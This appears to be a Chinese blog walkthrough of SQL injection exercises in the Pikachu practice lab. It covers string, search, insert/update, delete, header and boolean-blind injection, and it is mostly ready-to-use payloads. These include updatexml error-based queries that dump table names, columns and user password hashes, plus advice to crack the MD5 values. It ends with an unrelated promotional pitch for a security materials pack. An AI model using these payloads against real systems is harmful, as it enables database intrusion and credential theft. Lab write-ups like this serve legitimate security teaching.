字符型注入(get)
在输入框内输入admin
尝试注入:
admin后加单引号,出现报错
payload:
?name=admin' and 1=1--+ 回显正常
?name=admin' and 1=2--+ 回显不正常
存在注入
sql语句被执行,爆出username不存在,说明插入的语句被执行带到数据库当中去查询
接下来的步骤判断字段的个数,看回显点,爆库,爆表,爆字段,都和以上的数字型注入一致,区别就是类型不同,本题为字符型,单引号闭合,其他注入语句和以上一致。
搜索型注入
在输入框当中,尝试输入数字1
分析为,sql语句当中存在模糊查找,%字符,与一般的字符型注入和数字型注入不同的是,搜索型注入的sql语句往往形如:select xxx from xxx where xxx like ‘%abcd%’
本质上和字符型注入的方式基本一样但闭合的特殊符号换成了%
测试注入点:
payload:
?name=1%' and 1=1--+ 回显正常
?name=1%' and 1=2--+ 回显不正常
存在注入
说明sql语句被带到数据库当中去查询,被执行,没有查到信息
接下来的步骤判断字段的个数,看回显点,爆库,爆表,爆字段,都和以上的数字型注入一致(注入sql语句也大体一致),区别就是类型不同,本题为搜索型,%'
闭合,其他注入语句和以上一致。
xx型注入
不同的闭合方式分别去测试,本题为')
闭合
使用圆括号尝试构造闭合:
name=1 正常
name=1' 报错
name=1') 报错
name=1') --+ 正常
接下来的步骤判断字段的个数,看回显点,爆库,爆表,爆字段,都和以上的数字型注入一致(注入sql语句也大体一致),区别就是类型不同,本题为其他类型的闭合方式,')
闭合,其他注入语句和以上一致。
判断字段个数:
其他的爆库,爆表,爆字段,获取信息等sql语句和以上基本一致(数字型注入)。
insert/update注入
注册用户:
首先点击注册账号
注册时,抓包获取信息
使用bp抓包,获取数据包后,发送给重发器进行测试
测试注入:
从username处开始尝试
payload:
username=xiaohong' or updatexml(1,concat(0x7e,database()),3) or '&password=xiaohong123456&sex=%E5%A5%B3&phonenum=123123&email=hebei&add=hebei&submit=submit
' or updatexml(1,concat(0x7e,database()),3) or '
若查看其他数据库信息,替换database()即可
爆数据表:
payload:
' and updatexml(1,concat(0x7e,(select table\_name from information\_schema.tables where table\_schema='pikachu' limit 0,1),0x7e),1) and '
通过修改limit 0,1当中第一个数字的值,逐一查看即可
...
' and updatexml(1,concat(0x7e,(select table\_name from information\_schema.tables where table\_schema='pikachu' limit 3,1),0x7e),1) and '
当limit 3,1的时候,可查看到users这张表
爆字段
payload:
' and updatexml(1,concat(0x7e,(select column\_name from information\_schema.columns where table\_name='users' limit 0,1),0x7e),1) and '
相同的道理,limit逐一去看列的信息
...
当limit 12,1的时候,发现username
' and updatexml(1,concat(0x7e,(select column\_name from information\_schema.columns where table\_name='users' limit 12,1),0x7e),1) and '
当limit 13,1的时候,发现password
' and updatexml(1,concat(0x7e,(select column\_name from information\_schema.columns where table\_name='users' limit 13,1),0x7e),1) and '
接下来就是获取username和password的信息
payload:
爆username的值:
' and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),1) and '
' and updatexml(1,concat(0x7e,(select username from users limit 1,1),0x7e),1) and '
' and updatexml(1,concat(0x7e,(select username from users limit 2,1),0x7e),1) and '
同样的道理还是limit去逐一查看切换第一个数字的值即可
limit 0,1 查出admin用户
limit 1,1 查出pikachu用户
limit 2,1 查出test用户
payload:
爆password
与username对应
admin密码:
' and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),1) and '
pikachu密码:
' and updatexml(1,concat(0x7e,(select password from users limit 1,1),0x7e),1) and '
test密码:
' and updatexml(1,concat(0x7e,(select password from users limit 2,1),0x7e),1) and '
成功获取密码
admin密码:
pikachu密码:
test密码:
如果想一次性爆出,可以使用group_concat
但是updatexml限制长度,可以使用substr来进行显示
数据库的substr函数用法:
1、substr(str,pos,len)从pos开始的位置,截取len个字符;
2、substr(str,pos) pos开始的位置,一直截取到最后。
payload:
'and updatexml(1,concat(0x7e,substr((select group\_concat(username,'/',password) from pikachu.users),1,32),0x7e),1) and '
当爆破完整的数据时,修改substr中第二个参数即可控制从何处进行显示,最后获得完整的数据。
爆出来的密码使用MD5进行解密即可。
更新用户信息:
在修改信息处,修改时进行抓包
同理,使用bp抓包进行测试
测注入点,爆数据库
在add参数后面测试
payload:
' and updatexml(1,concat(0x7e,database()),3) and '#
其他参数位置都可以尝试
成功获取当前数据库
其余的爆库爆表爆数据的操作和以上注册时注入的sql语句一致,大体一样。
delete注入
首先发表留言:
删除留言时进行抓包
发给测试器进行测试
测试注入点:
注意在bp当中,get请求当中去输入sql语句时,空格用+替代,否则会出现问题
payload:
+or+updatexml+(1,concat(0x7e,database()),0)--+
成功获取当前的数据库:
其他的爆库爆表爆字段内容的sql语句以上注册时注入的一致。
http头部注入
该注入是对http包中的user-agent、x-forwarded-for或referer进行注入,当上述信息可被带入数据库进行处理时,可对其进行sql注入。
根据提示使用admin/123456进行登录
登录后可查看到相关的信息ip,UA头信息等
开始尝试注入:
登录时使用bp抓包,发送给重发器进行测试
在cookie信息处存在注入,可进行注入:
payload:
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
成功回显
在UA头部也可以注入,也可以成功回显
payload和以上一致
' or updatexml(1,concat(0x7e,(select database()),0x7e),1) or '
发现通过报错注入,数据库名被回显,说明UA代理也是一个注入点。
后续注入的基本流程和方法如上述报错注入基本相同。使用cookie注入或UA注入都可以。
基于boolian的盲注
布尔判断指的是利用SQL语句逻辑与操作,判断and两边的条件是否成立,SQL语句带入输入库查询后判断返回内容(通常返回值仅有非空和空两种状态),类似布尔型的true和false的两种状态。
(因为比较麻烦所以一般手动注入不会考虑此方法,需要慢慢判断)
输入任何值都说username不存在,有注入点,但是不会回显数据,这里可以尝试布尔注入,由于无法回显数据,利用逻辑操与数据库版本第1位数字字符做判断;
payload:
1' and left(version(),1)=5 --+
1' and length(database())>8 --+
' and length(database())>1#
and (select substr(database(),1,1))='p'#
本人从事网路安全工作12年,曾在2个大厂工作过,安全服务、售后服务、售前、攻防比赛、安全讲师、销售经理等职位都做过,对这个行业了解比较全面。
最近遍览了各种网络安全类的文章,内容参差不齐,其中不伐有大佬倾力教学,也有各种不良机构浑水摸鱼,在收到几条私信,发现大家对一套完整的系统的网络安全从学习路线到学习资料,甚至是工具有着不小的需求。
最后,我将这部分内容融会贯通成了一套282G的网络安全资料包,所有类目条理清晰,知识点层层递进,需要的小伙伴可以点击下方小卡片领取哦!下面就开始进入正题,如何从一个萌新一步一步进入网络安全行业。
![](https://img-blog.csdnimg.cn/img_convert/311903982dea1d8a5d2c98fc271b5b41.jpeg)
### 学习路线图
其中最为瞩目也是最为基础的就是网络安全学习路线图,这里我给大家分享一份打磨了3个月,已经更新到4.0版本的网络安全学习路线图。
相比起繁琐的文字,还是生动的视频教程更加适合零基础的同学们学习,这里也是整理了一份与上述学习路线一一对应的网络安全视频教程。
![](https://img-blog.csdnimg.cn/img_convert/1ddfaf7dc5879b1120e31fafa1ad4dc7.jpeg)
#### 网络安全工具箱
当然,当你入门之后,仅仅是视频教程已经不能满足你的需求了,你肯定需要学习各种工具的使用以及大量的实战项目,这里也分享一份**我自己整理的网络安全入门工具以及使用教程和实战。**
![](https://img-blog.csdnimg.cn/img_convert/bcd1787ce996787388468bb227d8f959.jpeg)
#### 项目实战
最后就是项目实战,这里带来的是**SRC资料&HW资料**,毕竟实战是检验真理的唯一标准嘛~
![](https://img-blog.csdnimg.cn/img_convert/35fc46df24091ce3c9a5032a9919b755.jpeg)
#### 面试题
归根结底,我们的最终目的都是为了就业,所以这份结合了多位朋友的亲身经验打磨的面试题合集你绝对不能错过!